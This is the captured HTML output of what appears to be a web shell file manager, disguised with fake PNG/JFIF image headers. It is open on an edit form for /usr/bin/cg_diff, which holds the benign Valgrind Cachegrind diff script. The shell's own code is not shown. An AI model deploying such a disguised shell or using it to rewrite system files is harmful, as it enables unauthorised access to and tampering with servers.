�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fbin%2F'>bin</a>/</p><hr><h3>✏️ Editing: cg_diff</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#! /usr/bin/env python3
# pyright: strict

# --------------------------------------------------------------------
# --- Cachegrind&#039;s differencer.                         cg_diff.in ---
# --------------------------------------------------------------------

# This file is part of Cachegrind, a high-precision tracing profiler
# built with Valgrind.
#
# Copyright (C) 2002-2023 Nicholas Nethercote
#    njn@valgrind.org
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see &lt;http://www.gnu.org/licenses/&gt;.
#
# The GNU General Public License is contained in the file COPYING.

# This script diffs Cachegrind output files.
#
# Use `make pydiff` to &quot;build&quot; this script every time it is changed. This runs
# the formatters, type-checkers, and linters on `cg_diff.in` and then generates
# `cg_diff`.
#
# This is a cut-down version of `cg_annotate.in`.

from __future__ import annotations

import re
import sys
from argparse import ArgumentParser, Namespace
from collections import defaultdict
from typing import Callable, DefaultDict, NewType, NoReturn

SearchAndReplace = Callable[[str], str]


# A typed wrapper for parsed args.
class Args(Namespace):
    # None of these fields are modified after arg parsing finishes.
    mod_filename: SearchAndReplace
    mod_funcname: SearchAndReplace
    cgout_filename1: str
    cgout_filename2: str

    @staticmethod
    def parse() -&gt; Args:
        # We support Perl-style `s/old/new/flags` search-and-replace
        # expressions, because that&#039;s how this option was implemented in the
        # old Perl version of `cg_diff`. This requires conversion from
        # `s/old/new/` style to `re.sub`. The conversion isn&#039;t a perfect
        # emulation of Perl regexps (e.g. Python uses `\1` rather than `$1` for
        # using captures in the `new` part), but it should be close enough. The
        # only supported flags are `g` (global) and `i` (ignore case).
        def search_and_replace(regex: str | None) -&gt; SearchAndReplace:
            if regex is None:
                return lambda s: s

            # Extract the parts of an `s/old/new/tail` regex. `(?&lt;!\\)/` is an
            # example of negative lookbehind. It means &quot;match a forward slash
            # unless preceded by a backslash&quot;.
            m = re.match(r&quot;s/(.*)(?&lt;!\\)/(.*)(?&lt;!\\)/(g|i|gi|ig|)$&quot;, regex)
            if m is None:
                raise ValueError

            # Forward slashes must be escaped in an `s/old/new/` expression,
            # but we then must unescape them before using them with `re.sub`.
            pat = m.group(1).replace(r&quot;\/&quot;, r&quot;/&quot;)
            repl = m.group(2).replace(r&quot;\/&quot;, r&quot;/&quot;)
            tail = m.group(3)

            if &quot;g&quot; in tail:
                count = 0  # unlimited
            else:
                count = 1

            if &quot;i&quot; in tail:
                flags = re.IGNORECASE
            else:
                flags = re.RegexFlag(0)

            return lambda s: re.sub(re.compile(pat, flags=flags), repl, s, count=count)

        desc = (
            &quot;Diff two Cachegrind output files. Deprecated; use &quot;
            &quot;`cg_annotate --diff` instead.&quot;
        )
        p = ArgumentParser(description=desc)

        p.add_argument(&quot;--version&quot;, action=&quot;version&quot;, version=&quot;%(prog)s-3.24.0&quot;)

        p.add_argument(
            &quot;--mod-filename&quot;,
            type=search_and_replace,
            metavar=&quot;REGEX&quot;,
            default=search_and_replace(None),
            help=&quot;a search-and-replace regex applied to filenames, e.g. &quot;
            &quot;`s/prog[0-9]/progN/`&quot;,
        )
        p.add_argument(
            &quot;--mod-funcname&quot;,
            type=search_and_replace,
            metavar=&quot;REGEX&quot;,
            default=search_and_replace(None),
            help=&quot;like --mod-filename, but for function names&quot;,
        )

        p.add_argument(
            &quot;cgout_filename1&quot;,
            nargs=1,
            metavar=&quot;cachegrind-out-file1&quot;,
            help=&quot;file produced by Cachegrind&quot;,
        )
        p.add_argument(
            &quot;cgout_filename2&quot;,
            nargs=1,
            metavar=&quot;cachegrind-out-file2&quot;,
            help=&quot;file produced by Cachegrind&quot;,
        )

        return p.parse_args(namespace=Args())  # type: ignore [return-value]


# Args are stored in a global for easy access.
args = Args.parse()


# A single instance of this class is constructed, from `args` and the `events:`
# line in the cgout file.
class Events:
    # The event names.
    events: list[str]

    def __init__(self, text: str) -&gt; None:
        self.events = text.split()
        self.num_events = len(self.events)

    # Raises a `ValueError` exception on syntax error.
    def mk_cc(self, str_counts: list[str]) -&gt; Cc:
        # This is slightly faster than a list comprehension.
        counts = list(map(int, str_counts))

        if len(counts) == self.num_events:
            pass
        elif len(counts) &lt; self.num_events:
            # Add zeroes at the end for any missing numbers.
            counts.extend([0] * (self.num_events - len(counts)))
        else:
            raise ValueError

        return counts

    def mk_empty_cc(self) -&gt; Cc:
        # This is much faster than a list comprehension.
        return [0] * self.num_events


# A &quot;cost centre&quot;, which is a dumb container for counts. Always the same length
# as `Events.events`, but it doesn&#039;t even know event names. `Events.mk_cc` and
# `Events.mk_empty_cc` are used for construction.
#
# This used to be a class with a single field `counts: list[int]`, but this
# type is very hot and just using a type alias is much faster.
Cc = list[int]


# Add the counts in `a_cc` to `b_cc`.
def add_cc_to_cc(a_cc: Cc, b_cc: Cc) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc[i] += a_count


# Subtract the counts in `a_cc` from `b_cc`.
def sub_cc_from_cc(a_cc: Cc, b_cc: Cc) -&gt; None:
    for i, a_count in enumerate(a_cc):
        b_cc[i] -= a_count


# A paired filename and function name.
Flfn = NewType(&quot;Flfn&quot;, tuple[str, str])

# Per-function CCs.
DictFlfnCc = DefaultDict[Flfn, Cc]


def die(msg: str) -&gt; NoReturn:
    print(&quot;cg_diff: error:&quot;, msg, file=sys.stderr)
    sys.exit(1)


def read_cgout_file(cgout_filename: str) -&gt; tuple[str, Events, DictFlfnCc, Cc]:
    # The file format is described in Cachegrind&#039;s manual.
    try:
        cgout_file = open(cgout_filename, &quot;r&quot;, encoding=&quot;utf-8&quot;)
    except OSError as err:
        die(f&quot;{err}&quot;)

    with cgout_file:
        cgout_line_num = 0

        def parse_die(msg: str) -&gt; NoReturn:
            die(f&quot;{cgout_file.name}:{cgout_line_num}: {msg}&quot;)

        def readline() -&gt; str:
            nonlocal cgout_line_num
            cgout_line_num += 1
            return cgout_file.readline()

        # Read &quot;desc:&quot; lines.
        while line := readline():
            if m := re.match(r&quot;desc:\s+(.*)&quot;, line):
                # The &quot;desc:&quot; lines are unused.
                pass
            else:
                break

        # Read &quot;cmd:&quot; line. (`line` is already set from the &quot;desc:&quot; loop.)
        if m := re.match(r&quot;cmd:\s+(.*)&quot;, line):
            cmd = m.group(1)
        else:
            parse_die(&quot;missing a `command:` line&quot;)

        # Read &quot;events:&quot; line.
        line = readline()
        if m := re.match(r&quot;events:\s+(.*)&quot;, line):
            events = Events(m.group(1))
        else:
            parse_die(&quot;missing an `events:` line&quot;)

        fl = &quot;&quot;
        flfn = Flfn((&quot;&quot;, &quot;&quot;))

        # Different places where we accumulate CC data.
        dict_flfn_cc: DictFlfnCc = defaultdict(events.mk_empty_cc)
        summary_cc = None

        # Line matching is done in order of pattern frequency, for speed.
        while line := readline():
            if line[0].isdigit():
                split_line = line.split()
                try:
                    # The line_num isn&#039;t used.
                    cc = events.mk_cc(split_line[1:])
                except ValueError:
                    parse_die(&quot;malformed or too many event counts&quot;)

                # Record this CC at the function level.
                add_cc_to_cc(cc, dict_flfn_cc[flfn])

            elif line.startswith(&quot;fn=&quot;):
                flfn = Flfn((fl, args.mod_funcname(line[3:-1])))

            elif line.startswith(&quot;fl=&quot;):
                # A longstanding bug: the use of `--mod-filename` makes it
                # likely that some files won&#039;t be found when annotating. This
                # doesn&#039;t matter much, because we use line number 0 for all
                # diffs anyway. It just means we get &quot;This file was unreadable&quot;
                # for modified filenames rather than a single &quot;&lt;unknown (line
                # 0)&gt;&quot; CC.
                fl = args.mod_filename(line[3:-1])
                # A `fn=` line should follow, overwriting the &quot;???&quot;.
                flfn = Flfn((fl, &quot;???&quot;))

            elif m := re.match(r&quot;summary:\s+(.*)&quot;, line):
                try:
                    summary_cc = events.mk_cc(m.group(1).split())
                except ValueError:
                    parse_die(&quot;malformed or too many event counts&quot;)

            elif line == &quot;\n&quot; or line.startswith(&quot;#&quot;):
                # Skip empty lines and comment lines.
                pass

            else:
                parse_die(f&quot;malformed line: {line[:-1]}&quot;)

    # Check if summary line was present.
    if not summary_cc:
        parse_die(&quot;missing `summary:` line, aborting&quot;)

    # Check summary is correct.
    total_cc = events.mk_empty_cc()
    for flfn_cc in dict_flfn_cc.values():
        add_cc_to_cc(flfn_cc, total_cc)
    if summary_cc != total_cc:
        msg = (
            &quot;`summary:` line doesn&#039;t match computed total\n&quot;
            f&quot;- summary: {summary_cc}\n&quot;
            f&quot;- total:   {total_cc}&quot;
        )
        parse_die(msg)

    return (cmd, events, dict_flfn_cc, summary_cc)


def main() -&gt; None:
    filename1 = args.cgout_filename1[0]
    filename2 = args.cgout_filename2[0]

    (cmd1, events1, dict_flfn_cc1, summary_cc1) = read_cgout_file(filename1)
    (cmd2, events2, dict_flfn_cc2, summary_cc2) = read_cgout_file(filename2)

    if events1.events != events2.events:
        die(&quot;events in data files don&#039;t match&quot;)

    # Subtract file 1&#039;s CCs from file 2&#039;s CCs, at the Flfn level.
    for flfn, flfn_cc1 in dict_flfn_cc1.items():
        flfn_cc2 = dict_flfn_cc2[flfn]
        sub_cc_from_cc(flfn_cc1, flfn_cc2)
    sub_cc_from_cc(summary_cc1, summary_cc2)

    print(f&quot;desc: Files compared:   {filename1}; {filename2}&quot;)
    print(f&quot;cmd: {cmd1}; {cmd2}&quot;)
    print(&quot;events:&quot;, *events1.events, sep=&quot; &quot;)

    # Sort so the output is deterministic.
    def key(flfn_and_cc: tuple[Flfn, Cc]) -&gt; Flfn:
        return flfn_and_cc[0]

    for flfn, flfn_cc2 in sorted(dict_flfn_cc2.items(), key=key):
        # Use `0` for the line number because we don&#039;t try to give line-level
        # CCs, due to the possibility of code changes causing line numbers to
        # move around.
        print(f&quot;fl={flfn[0]}&quot;)
        print(f&quot;fn={flfn[1]}&quot;)
        print(&quot;0&quot;, *flfn_cc2, sep=&quot; &quot;)

    print(&quot;summary:&quot;, *summary_cc2, sep=&quot; &quot;)


if __name__ == &quot;__main__&quot;:
    main()
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fbin'>🔙 Back</a></p>